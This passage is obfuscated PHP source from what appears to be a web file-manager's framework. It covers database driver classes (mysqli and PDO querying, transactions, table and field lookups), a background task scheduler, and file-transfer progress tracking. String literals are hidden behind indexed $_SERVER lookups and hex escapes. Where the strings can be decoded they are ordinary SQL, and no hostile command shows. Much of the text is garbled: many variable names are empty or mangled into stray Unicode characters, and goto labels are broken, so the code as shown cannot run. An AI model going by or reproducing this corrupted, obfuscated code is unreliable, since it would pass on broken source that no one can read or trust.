$this->_linkID->rollback(); $this->transTimes = 0; if (!$ǫ) { $this->error(); return !1; } } return !0; } private function getAll() { $… = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $…[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $…; } public function getFields($) { $ۘ =& $_SERVER[]; $ߢ = $this->query($ۘ[884] . $this->parseKey($)); $Ӌ = array(); if ($ߢ) { foreach ($ߢ as $ => $) { $Ӌ[$[$ۘ[31]]] = array($ۘ[32] => $[$ۘ[31]], $ۘ[33] => $[$ۘ[34]], $ۘ[35] => (bool) ($[$ۘ[36]] === $ۘ[12]), $ۘ[37] => $[$ۘ[38]], $ۘ[39] => strtolower($[$ۘ[40]]) == $ۘ[41], $ۘ[42] => strtolower($[$ۘ[43]]) == $ۘ[44]); } } return $Ӌ; } public function getTables($ݢ = '') { $ =& $_SERVER[]; $ = !empty($ݢ) ? $[886] . $ݢ . $[887] : $[888]; $ѕ = $this->query($); $ϱ = array(); if ($ѕ) { foreach ($ѕ as $ș => $ü) { $ϱ[$ș] = current($ü); } } return $ϱ; } public function replace($, $͓֗ = array()) { $լ =& $_SERVER[]; foreach ($ as $̇ => $) { $Ԕ٢ = $this->parseValue($); if (is_scalar($Ԕ٢)) { $[] = $Ԕ٢; $Υ[] = $this->parseKey($̇); } } $ٯ = $լ[889] . $this->parseTable($͓֗[$լ[274]]) . $լ[890] . implode($լ[50], $Υ) . $լ[891] . implode($լ[50], $) . $լ[892]; return $this->execute($ٯ); } public function insertAll($, $“ = array(), $Ѵܣ = false) { $Ƹ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $߉낔 = array_keys($[0]); $ׁ = array(); foreach ($ as $˦) { $ᕦ = array(); foreach ($˦ as $ => $曋) { $曋 = $this->parseValue($曋); if (is_scalar($曋)) { $ᕦ[] = $曋; } } $ׁ[] = $Ƹ[255] . implode($Ƹ[50], $ᕦ) . $Ƹ[892]; } array_walk($߉낔, array($this, $Ƹ[893])); $ڛ = $Ѵܣ ? $Ƹ[894] : $Ƹ[895]; $ = $ڛ . $Ƹ[896] . $this->parseTable($“[$Ƹ[274]]) . $Ƹ[890] . implode($Ƹ[50], $߉낔) . $Ƹ[897] . implode($Ƹ[50], $ׁ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Đ =& $_SERVER[]; $this->error = $this->_linkID->errno . $Đ[4] . $this->_linkID->error; if ($Đ[12] != $this->queryStr) { $this->error .= LNG($Đ[48]) . $this->queryStr; } think_trace($this->error, $Đ[12], $Đ[49]); return $this->error; } public function escapeString($ُ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ُ); } else { return addslashes($ُ); } } public function parseKey(&$҉, $ = true) { $ǯ =& $_SERVER[]; if ($) { $҉ = $this->parseKeyCheck($҉); } if ($҉ != $ǯ[181] && !preg_match($ǯ[898], $҉)) { $҉ = $ǯ[380] . trim($҉, $ǯ[380]) . $ǯ[380]; } return $҉; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[901])) { think_exception(think_lang($[14]) . $[902]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($޼ = '', $޽˕ = 0) { $򕍨 =& $_SERVER[]; if (!isset($this->linkID[$޽˕])) { if (empty($޼)) { $޼ = $this->config; } $Ñ = !empty($޼[$򕍨[17]][$򕍨[18]]) ? $޼[$򕍨[17]][$򕍨[18]] : $this->pconnect; if ($Ñ) { $޼[$򕍨[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$޽˕] = new PDO($޼[$򕍨[903]], $޼[$򕍨[875]], $޼[$򕍨[876]], $޼[$򕍨[17]]); } catch (PDOException $̱) { think_exception($̱->getMessage()); } $this->dbType = $this->_getDsnType($޼[$򕍨[903]]); if (in_array($this->dbType, array($򕍨[904], $򕍨[905], $򕍨[906], $򕍨[907]))) { think_exception($򕍨[908] . $this->dbType . $򕍨[909] . $this->dbType . $򕍨[910]); } if (!$this->linkID[$޽˕]) { think_exception($򕍨[911]); } try { $this->linkID[$޽˕]->exec($򕍨[912] . think_config($򕍨[878])); } catch (Exception $̱) { } $this->connected = !0; if (1 != think_config($򕍨[22])) { unset($this->config); } } return $this->linkID[$޽˕]; } public function free() { $this->PDOStatement = null; } public function query($, $֚ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($֚)) { $this->queryStr .= $[913] . print_r($֚, !0) . $[914]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $󗄛 = $this->PDOStatement->execute($֚); $this->debug(); if (!1 === $󗄛) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($܏, $ͣ = array()) { $򐘐 =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $܏; if (!empty($ͣ)) { $this->queryStr .= $򐘐[913] . print_r($ͣ, !0) . $򐘐[914]; } $ = !1; if ($this->dbType == $򐘐[907]) { if (preg_match($򐘐[915], $this->queryStr, $)) { $this->table = think_config($򐘐[916]) . str_ireplace(think_config($򐘐[917]), $򐘐[373], $[2]); $ = (bool) $this->query($򐘐[918] . strtoupper($this->table) . $򐘐[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($򐘐[25], 1); think_status($򐘐[24]); $this->PDOStatement = $this->_linkID->prepare($܏); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $߹ = $this->PDOStatement->execute($ͣ); $this->debug(); if (!1 === $߹) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($򐘐[919], $܏)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ҙ = $this->_linkID->commit(); $this->transTimes = 0; if (!$Ҙ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $͘ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$͘) { $this->error(); return !1; } } return !0; } private function getAll() { $Ʈ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ʈ); return $Ʈ; } public function getFields($皠) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[920])) { $ = str_replace($[921], $皠, think_config($[920])); } else { switch ($this->dbType) { case $[904]: case $[922]: $ = "\123\x45\114\105\x43\x54\40\x20\x20\x63\157\154\165\155\x6e\137\x6e\x61\155\145\x20\141\163\x20\x27\116\x61\155\x65\47\x2c\40\40\40\144\x61\164\141\137\x74\171\160\145\40\141\163\x20\x27\x54\171\160\x65\47\54\40\x20\x20\143\157\x6c\165\x6d\156\x5f\x64\x65\146\x61\165\x6c\x74\40\x61\163\x20\x27\x44\145\x66\x61\165\x6c\x74\47\x2c\x20\x20\40\x69\x73\137\x6e\x75\x6c\154\x61\142\154\x65\x20\141\163\40\47\x4e\165\154\x6c\x27\12\11\11\106\122\x4f\115\11\151\156\x66\x6f\162\155\x61\x74\151\x6f\156\x5f\x73\143\150\x65\x6d\141\x2e\x74\x61\142\x6c\x65\x73\x20\x41\123\x20\164\xa\x9\11\x4a\x4f\111\x4e\11\151\x6e\146\157\x72\x6d\x61\164\x69\x6f\x6e\137\x73\x63\150\x65\x6d\141\x2e\x63\x6f\154\165\x6d\156\163\x20\101\x53\40\x63\xa\11\11\117\x4e\x20\x20\164\56\x74\x61\142\154\145\x5f\x63\x61\x74\141\x6c\157\x67\x20\75\40\x63\x2e\164\141\x62\x6c\145\x5f\143\x61\x74\x61\x6c\x6f\147\xa\11\x9\x41\x4e\104\40\164\56\x74\141\142\154\x65\x5f\163\x63\x68\145\155\141\x20\75\40\143\56\164\x61\142\x6c\x65\x5f\x73\143\150\x65\x6d\x61\12\x9\x9\x41\x4e\x44\x20\x74\56\164\141\142\154\145\137\x6e\x61\x6d\x65\x20\x3d\x20\143\x2e\x74\141\x62\x6c\145\x5f\x6e\x61\x6d\145\12\x9\x9\127\110\x45\x52\x45\x20\x20\x20\x74\x2e\164\x61\x62\154\145\x5f\156\141\155\x65\x20\75\40\x27{$皠}\47"; break; case $[923]: $ = $[924] . $皠 . $[925]; break; case $[905]: case $[907]: $ = $[926] . $[927] . $[928] . strtoupper($皠) . $[929] . strtoupper($皠) . $[930]; break; case $[931]: $ = $[932] . $皠 . $[933]; break; case $[906]: break; case $[934]: default: $ = $[935] . ($this->dbType == $[934] ? "\140{$皠}\x60" : $皠); } } $ = $this->query($); $֬ = array(); if ($) { foreach ($ as $ॺČ => $DZ˄) { $DZ˄ = array_change_key_case($DZ˄); $DZ˄[$[32]] = isset($DZ˄[$[32]]) ? $DZ˄[$[32]] : $[373]; $DZ˄[$[33]] = isset($DZ˄[$[33]]) ? $DZ˄[$[33]] : $[373]; $ﵜޟ = isset($DZ˄[$[268]]) ? $DZ˄[$[268]] : $DZ˄[$[32]]; $֬[$ﵜޟ] = array($[32] => $ﵜޟ, $[33] => $DZ˄[$[33]], $[35] => (bool) (isset($DZ˄[$[104]]) && $DZ˄[$[104]] === $[12] || isset($DZ˄[$[35]]) && $DZ˄[$[35]] === $[12]), $[37] => isset($DZ˄[$[37]]) ? $DZ˄[$[37]] : (isset($DZ˄[$[56]]) ? $DZ˄[$[56]] : $[373]), $[39] => isset($DZ˄[$[95]]) ? strtolower($DZ˄[$[95]]) == $[41] : (isset($DZ˄[$[57]]) ? $DZ˄[$[57]] : !1), $[42] => isset($DZ˄[$[936]]) ? strtolower($DZ˄[$[936]]) == $[44] : (isset($DZ˄[$[95]]) ? $DZ˄[$[95]] : !1)); } } return $֬; } public function getTables($ = '') { $ڭ =& $_SERVER[]; if (think_config($ڭ[937])) { $ = str_replace($ڭ[938], $, think_config($ڭ[937])); } else { switch ($this->dbType) { case $ڭ[905]: case $ڭ[907]: $ = $ڭ[939]; break; case $ڭ[904]: case $ڭ[922]: $ = $ڭ[940]; break; case $ڭ[931]: $ = $ڭ[941]; break; case $ڭ[906]: think_exception(think_lang($ڭ[942]) . $ڭ[943]); break; case $ڭ[923]: $ = $ڭ[45] . $ڭ[46] . $ڭ[47]; break; case $ڭ[934]: default: if (!empty($)) { $ = $ڭ[886] . $ . $ڭ[887]; } else { $ = $ڭ[888]; } } } $޲ = $this->query($); $ϼ = array(); foreach ($޲ as $ݻ => $ξ) { $ϼ[$ݻ] = current($ξ); } return $ϼ; } protected function parseLimit($ޯ) { $ =& $_SERVER[]; $ƹ = $[12]; if (!empty($ޯ)) { switch ($this->dbType) { case $[931]: case $[923]: $ޯ = explode($[50], $ޯ); if (count($ޯ) > 1) { $ƹ .= $[51] . $ޯ[1] . $[52] . $ޯ[0] . $[53]; } else { $ƹ .= $[51] . $ޯ[0] . $[53]; } break; case $[904]: case $[922]: break; case $[906]: break; case $[905]: case $[907]: break; case $[934]: default: $ƹ .= $[51] . $ޯ . $[53]; } } return $ƹ; } public function parseKey(&$, $ = true) { $䝟 =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $䝟[934]) { if ($ != $䝟[181] && !preg_match($䝟[898], $)) { $ = $䝟[380] . trim($, $䝟[380]) . $䝟[380]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[]; if ($this->PDOStatement) { $٧ = $this->PDOStatement->errorInfo(); $this->error = $٧[1] . $[4] . $٧[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $¨Ɋ =& $_SERVER[]; switch ($this->dbType) { case $¨Ɋ[931]: case $¨Ɋ[904]: case $¨Ɋ[922]: case $¨Ɋ[934]: return addslashes($); case $¨Ɋ[906]: case $¨Ɋ[923]: case $¨Ɋ[905]: case $¨Ɋ[907]: return str_ireplace($¨Ɋ[58], $¨Ɋ[59], $); } } protected function parseValue($Ქ) { $Ă =& $_SERVER[]; if (is_string($Ქ)) { $䈏 = strpos($Ქ, $Ă[4]) === 0 && in_array($Ქ, array_keys($this->bind)); $Ქ = $䈏 ? $this->escapeString($Ქ) : $Ă[944] . $this->escapeString($Ქ) . $Ă[944]; } elseif (isset($Ქ[0]) && is_string($Ქ[0]) && strtolower($Ქ[0]) == $Ă[292]) { $Ქ = $this->escapeString($Ქ[1]); } elseif (is_array($Ქ)) { $Ქ = array_map(array($this, $Ă[945]), $Ქ); } elseif (is_bool($Ქ)) { $Ქ = $Ქ ? $Ă[89] : $Ă[190]; } elseif (is_null($Ქ)) { $Ქ = $Ă[104]; } return $Ქ; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[931]: case $[923]: case $[904]: case $[922]: case $[906]: case $[934]: return $this->_linkID->lastInsertId(); case $[905]: case $[907]: $ = $this->table; $ٻ = $this->query("\x53\105\x4c\x45\103\124\x20{$}\x2e\143\x75\x72\x72\x76\x61\x6c\40\x63\x75\162\x72\166\x61\x6c\40\106\x52\117\115\40\x64\x75\x61\154"); return $ٻ ? $ٻ[0][$[946]] : 0; } } } goto Fƪʏ; eӖ: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[743]) != $[89]) { return; } if (self::valueGet($[1602]) == $[89]) { $̟Ͱ = self::valueGet($[1603]); if (time() - $̟Ͱ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); self::valueSet($[1602], $[89]); self::log($[1604]); Hook::bind($[1605], $[1606]); $ݪ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[743]) != $[89]) { self::valueSet($[1602], $[190]); self::log($[1607]); die; } $ = time(); if ($ - $ݪ >= 60) { self::valueSet(array($[1602] => $[89], $[1603] => $), !1); $ݪ = $; } if (!file_exists(USER_SYSTEM . $[1608])) { self::valueSet(array($[1602] => $[190], $[743] => $[190]), !1); self::log($[1609]); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ِ =& $_SERVER[]; http_close(); self::valueSet($ِ[743], $ِ[190]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ِ[1602] => $ِ[190], $ِ[743] => $ِ[89]), !1); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1602], $[190]); self::log($[1610]); } public static function config($ٝ, $) { self::valueSet($_SERVER[][743], $ٝ); } private static function taskRunAll() { $ǽ =& $_SERVER[]; $ = timeFloat(); $τ = Model($ǽ[1611])->listData(); $ = count($τ); for ($ = 0; $ < $; $++) { $ = $τ[$]; if (!$[$ǽ[401]] || $[$ǽ[1612]] != $ǽ[89]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ǽ[1613]); self::taskQueueRun($); } private static function taskQueueRun($ዧ܉) { $֢ٟ = 10; while (!0) { $ρʔ = TaskQueue::run(); if ($ρʔ === !1) { break; } if (timeFloat() - $ዧ܉ >= $֢ٟ) { break; } } } private static function taskTimeCheck($ԍ) { $˲ =& $_SERVER[]; $ɤ = json_decode($ԍ[$˲[196]], !0); $ = intval($ԍ[$˲[1603]]); $ = strtotime($˲[1614] . $ɤ[$˲[1615]] . $˲[1616]) - strtotime($˲[1617]); $ = time() - strtotime(date($˲[1618]) . $˲[1619]); $ܚϫ = $ >= $ && $ <= $ + 3600; switch ($ɤ[$˲[33]]) { case $˲[1620]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($ɤ[$˲[1620]] == date($˲[1621]) && $ܚϫ) { return !0; } break; case $˲[1622]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($˲[1623]) == 0 ? 7 : date($˲[1623]); if ($ɤ[$˲[1622]] == $ && $ܚϫ) { return !0; } break; case $˲[1615]: if (time() - $ < 3600 * 24) { return !1; } if ($ܚϫ) { return !0; } break; case $˲[1624]: if (time() - $ >= floatval($ɤ[$˲[1624]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ë˳ =& $_SERVER[]; static $ԓ = 0; $à = 300; if (!$ԓ) { $ԓ = time(); } if (time() - $ԓ < $à) { return; } $ԓ = time(); $ = Model($ë˳[513])->db($ë˳[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ë˳[1625], $ë˳[1626]); die; } } public static function taskRun($˦) { $ =& $_SERVER[]; self::log($[1627] . $˦[$[401]] . $[1628] . $˦[$[32]] . $[1629] . $˦[$[1630]]); Model($[1611])->run($˦[$[401]]); $ = timeFloat(); $ʁ = $[12]; switch ($˦[$[33]]) { case $[302]: $݀ = url_request($˦[$[1630]], $[225], !1, !1, !1, !1, 10); if ($݀[$[743]]) { $ʁ = strlen($݀[$[1178]]); } break; case $[224]: $ʁ = Hook::apply($˦[$[1630]]); default: break; } Model($[1631])->add(array($[1632] => $[12], $[1633] => $[190], $[33] => $[1634] . $˦[$[401]], $[1635] => json_encode(array($[32] => $˦[$[32]], $[1636] => timeFloat() - $, $[288] => $ʁ)))); $ = $ʁ ? $[1637] . $ʁ : $[12]; self::log($[1638] . $˦[$[401]] . $[536] . $); return !0; } private static function valueGet($Ӟ) { $𣗧 =& $_SERVER[]; $㴅 = $𣗧[1639]; $Ƶ = Model($𣗧[433])->get($Ӟ, $㴅); if (is_null($Ƶ)) { Model($𣗧[433])->set($𣗧[743], $𣗧[89], $㴅); Model($𣗧[433])->set($𣗧[1602], $𣗧[190], $㴅); $Ƶ = Model($𣗧[433])->get($Ӟ, $㴅); } return $Ƶ; } private static function valueSet($ټ, $ٛ׵) { $ =& $_SERVER[]; $嫏 = $[1640]; CacheLock::lock($嫏); $ = Model($[433])->set($ټ, $ٛ׵, $[1639]); CacheLock::unlock($嫏); return $; } protected static function log($Çք) { write_log($Çք, $_SERVER[][1626]); } private static function cacheClear() { $뢌 =& $_SERVER[]; Cache::clearMemory(Model($뢌[433])->cacheKey($뢌[1639])); Cache::clearMemory(Model($뢌[433])->cacheKey($뢌[1641])); Model($뢌[1611])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\x6f\160"; const STATYS_RUNNING = "\x72\165\x6e\x6e\151\x6e\147"; const STATYS_KILL = "\153\151\154\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($, $Ը = '', $Þڥ = 0, $韲 = '') { $ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($[401] => $, $[1642] => USER_ID, $[1539] => $韲, $[33] => $Ը, $[1051] => $[12], $[779] => $Þڥ, $[1643] => 0, $[1644] => 0, $[1645] => 0, $[1646] => timeFloat(), $[1647] => 0, $[1648] => 0, $[1649] => 0, $[1650] => 0, $[743] => $[1602]); $GLOBALS[$[1651]] = 1; Hook::bind($[1605], array($this, $[1652])); Hook::bind($[1653], array($this, $[1654])); $this->startAfter(); Hook::trigger($[1655], $this->task); $this->task[$[1648]] = timeFloat(); } public function end() { $م =& $_SERVER[]; if (!$this->task) { return; } if ($this->task[$م[1648]]) { self::valueSet($this->task[$م[401]], !1); } $Ű = timeFloat() - $this->task[$م[1646]]; self::log($م[1656] . $this->task[$م[401]] . $م[1657] . $Ű . $م[1658]); Hook::unbind($م[1605], array($this, $م[1652])); Hook::unbind($م[1653], array($this, $م[1654])); $this->endAfter(); $this->task = !1; } public function update($˺ = 0, $ªԂ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1643]] += $˺; $[$[1647]] = timeFloat(); if ($[$[779]]) { if ($[$[779]] < $[$[1643]]) { $[$[779]] = $[$[1643]]; } $ϩ = timeFloat() - $[$[1646]] - $[$[1649]]; $[$[1644]] = $[$[1643]] / $[$[779]]; $[$[1645]] = $[$[1643]] / $ϩ; if ($[$[1644]] > 0) { $[$[1650]] = $ϩ * (1 - $[$[1644]]) / $[$[1644]]; } $[$[1650]] = $[$[1650]] <= 0 ? 0 : $[$[1650]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1648]] < $ && !$ªԂ) { return; } $ۼ = self::get($[$[401]]); $Ȏɪ = $ۼ[$[743]]; if ($Ȏɪ == self::STATYS_KILL) { $ = array($[1659] => LNG($[1660]), $[1176] => !1); Cache::set($[1661] . $this->task[$[401]], $, 30); $this->onKill(); $this->end(); die; } else { if ($Ȏɪ == self::STATYS_STOP) { $ = 2; $ۼ[$[1649]] += $; self::valueSet($[$[401]], $ۼ); sleep($); $this->update(); return; } } $[$[743]] = $Ȏɪ ? $Ȏɪ : $[$[743]]; $[$[1649]] = $ۼ[$[1649]] ? $ۼ[$[1649]] : 0; $[$[1648]] = timeFloat(); Hook::trigger($[1662], $); self::valueSet($[$[401]], $); } public function onKillSet($, $㚯 = array()) { $this->onKillCall = array($, $㚯); } public function onKill() { $ =& $_SERVER[]; self::log($[1656] . $this->task[$[401]] . $[1663]); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($з܆) { $ =& $_SERVER[]; Cache::set($[1661] . $this->task[$[401]], $з܆, 60); return $з܆; } public static function get($̏) { $ӭ =& $_SERVER[]; $ = self::valueGet($̏); if (is_array($) && $[$ӭ[1664]]) { $ʨ = ActionApply($[$ӭ[1664]], array($)); $ = is_array($ʨ) ? $ʨ : $; } return $; } public static function listData() { $朌 = self::valueGet(); return array_sort_by($朌, $_SERVER[][1646], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($͒) { return self::changeStatus($͒, self::STATYS_STOP); } public static function restart($ƚ) { return self::changeStatus($ƚ, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $͎؈ = self::listData(); foreach ($͎؈ as $) { self::kill($[$[401]]); } sleep(2); foreach ($͎؈ as $) { self::valueSet($[$[401]], !1); } } private static function changeStatus($ַ, $) { $Ɩݤ =& $_SERVER[]; $ = self::valueGet($ַ); if (!$) { return !1; } $[$Ɩݤ[743]] = $; self::valueSet($ַ, $); self::log($Ɩݤ[1665] . $[$Ɩݤ[401]] . $Ɩݤ[1666] . $); return !0; } public static function valueGet($ = false) { $܀ =& $_SERVER[]; if ($) { $ƻ = Model($܀[445])->where(array($܀[95] => $, $܀[33] => $܀[1058]))->find(); return $ƻ ? json_decode($ƻ[$܀[369]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ٴ = false) { $Ϙ =& $_SERVER[]; $؜ = array($Ϙ[33] => $Ϙ[1058]); if ($ٴ) { $؜[$Ϙ[1642]] = $ٴ; } $ = Model($Ϙ[445])->where($؜)->select(); $ = $ ? $ : array(); foreach ($ as $Ҋ => $ƴ) { $[$Ҋ] = json_decode($ƴ[$Ϙ[369]], !0); } return $; } public static function valueSet($Л, $梼) { $ӝꓻ =& $_SERVER[]; if (!$梼) { return Model($ӝꓻ[445])->where(array($ӝꓻ[95] => $Л, $ӝꓻ[33] => $ӝꓻ[1058]))->delete(); } $Օ = json_encode($梼); if (!$Օ) { ob_start(); var_dump($梼); $ = ob_get_clean(); self::log($ӝꓻ[1667] . json_encode_force($)); } if (!$Л || !$梼[$ӝꓻ[401]]) { return !1; } $ = array($ӝꓻ[33] => $ӝꓻ[1058], $ӝꓻ[1642] => USER_ID, $ӝꓻ[95] => $Л, $ӝꓻ[369] => $Օ); $ͣ = $ӝꓻ[1668]; CacheLock::lock($ͣ); Model($ӝꓻ[445])->add($, array(), !0); CacheLock::unlock($ͣ); } public static function log($剱) { if (!GLOBAL_DEBUG) { return; } write_log($剱, $_SERVER[][1669]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ɀ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($ɀ[1670], array($this, $ɀ[1671])); Hook::bind($ɀ[1200], array($this, $ɀ[1672])); Hook::bind($ɀ[1673], array($this, $ɀ[1674])); Hook::bind($ɀ[598], array($this, $ɀ[1675])); Hook::bind($ɀ[599], array($this, $ɀ[1676])); Hook::bind($ɀ[601], array($this, $ɀ[1677])); Hook::bind($ɀ[602], array($this, $ɀ[1677])); Hook::bind($ɀ[568], array($this, $ɀ[1678])); Hook::bind($ɀ[565], array($this, $ɀ[1678])); Hook::bind($ɀ[570], array($this, $ɀ[1678])); Hook::bind($ɀ[572], array($this, $ɀ[1678])); Hook::bind($ɀ[574], array($this, $ɀ[1678])); Hook::bind($ɀ[1679], array($this, $ɀ[1680])); Hook::bind($ɀ[591], array($this, $ɀ[1681])); $this->sourceModelCopyFlag = !1; Hook::bind($ɀ[1682], array($this, $ɀ[1683])); Hook::bind($ɀ[1684], array($this, $ɀ[1685])); Hook::bind($ɀ[1686], array($this, $ɀ[1687])); $[$ɀ[1688]] = LNG($ɀ[1689]); $[$ɀ[1690]] = 0; $[$ɀ[1691]] = 0; $[$ɀ[1051]] = $ɀ[12]; $[$ɀ[1692]] = $ɀ[12]; $[$ɀ[1693]] = 0; $[$ɀ[1694]] = 0; $[$ɀ[1695]] = 0; if (!$[$ɀ[1539]]) { $[$ɀ[1539]] = LNG($ɀ[1696]); } } protected function endAfter() { $Ϟ =& $_SERVER[]; Hook::unbind($Ϟ[1670], array($this, $Ϟ[1671])); Hook::unbind($Ϟ[1200], array($this, $Ϟ[1672])); Hook::unbind($Ϟ[1673], array($this, $Ϟ[1674])); Hook::unbind($Ϟ[598], array($this, $Ϟ[1675])); Hook::unbind($Ϟ[599], array($this, $Ϟ[1676])); Hook::unbind($Ϟ[601], array($this, $Ϟ[1677])); Hook::unbind($Ϟ[602], array($this, $Ϟ[1677])); Hook::unbind($Ϟ[568], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[565], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[570], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[572], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[574], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[1679], array($this, $Ϟ[1680])); Hook::unbind($Ϟ[591], array($this, $Ϟ[1681])); Hook::unbind($Ϟ[1682], array($this, $Ϟ[1683])); Hook::unbind($Ϟ[1684], array($this, $Ϟ[1685])); Hook::unbind($Ϟ[1686], array($this, $Ϟ[1687])); } public function copyMoveStart($, $, $ʋ, $IJ) { $Ҷ =& $_SERVER[]; self::log($Ҷ[1697] . $ . $Ҷ[70] . $IJ); $ = rtrim(TEMP_FILES, $Ҷ[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($IJ, 0, strlen($)) == $) { return; } $̖ =& $this->task; $̖[$Ҷ[1698]] = KodIO::transferType($, $ʋ); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ʢȐ =& $this->task; if (!$ʢȐ[$[756]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ʢȐ[$[1698]] == $[1289]) { return; } self::updateTask($ʢȐ); } private static function updateTask(&$϶) { $ŅȮ =& $_SERVER[]; if ($϶[$ŅȮ[1698]] == $ŅȮ[1184] || $϶[$ŅȮ[1698]] == $ŅȮ[108]) { if ($϶[$ŅȮ[1692]]) { $϶[$ŅȮ[1695]] = $϶[$ŅȮ[1694]] + $϶[$ŅȮ[1691]]; } } else { if ($϶[$ŅȮ[1698]] == $ŅȮ[1290]) { if ($϶[$ŅȮ[1692]] == $ŅȮ[1184]) { $϶[$ŅȮ[1695]] = $϶[$ŅȮ[1694]] + $϶[$ŅȮ[1691]] * 0.5; } else { if ($϶[$ŅȮ[1692]] == $ŅȮ[108]) { $϶[$ŅȮ[1695]] = $϶[$ŅȮ[1694]] + $϶[$ŅȮ[1690]] * 0.5 + $϶[$ŅȮ[1691]] * 0.5; } } } } $϶[$ŅȮ[1644]] = $϶[$ŅȮ[1695]] / $϶[$ŅȮ[756]]; if ($϶[$ŅȮ[1644]] > 0) { $ = timeFloat() - $϶[$ŅȮ[1646]] - $϶[$ŅȮ[1649]]; $϶[$ŅȮ[1650]] = $ * (1 - $϶[$ŅȮ[1644]]) / $϶[$ŅȮ[1644]]; } } public function addPath($ڡ) { $ =& $_SERVER[]; if (!$ڡ) { return; } $‡ =& $this->task; $ׄ = IO::infoWithChildren($ڡ); $ʰ = $‡[$[1699]] ? $‡[$[1699]][$[1700]] : 0; $‡[$[1699]] = array($[1700] => $ʰ + 1, $[421] => $ׄ[$[32]], $[78] => $ׄ[$[78]], $[519] => $ׄ[$[519]] ? $ׄ[$[519]] : $ׄ[$[78]]); if ($ׄ[$[33]] == $[192]) { $‡[$[779]] += 1; } else { $‡[$[779]] += $ׄ[$[83]][$[81]]; if ($ׄ[$[403]]) { $‡[$[779]] += $ׄ[$[83]][$[82]] + 1; } } $‡[$[756]] += $ׄ[$[80]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($) { $ =& $_SERVER[]; $Ӂ =& $this->task; $Ӂ[$[1688]] = $[$[32]]; $Ӂ[$[1051]] = $[$[32]]; $this->update(); } public function copyFileStart($, $, $, $ĵ‡, $, $Г) { $ǂ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$ǂ[1701]]) { $ = $GLOBALS[$ǂ[1702]]; } $GLOBALS[$ǂ[1702]] = $; $GLOBALS[$ǂ[1701]] = $Г; $銥 =& $this->task; $銥[$ǂ[1688]] = $; $銥[$ǂ[1690]] = (int) 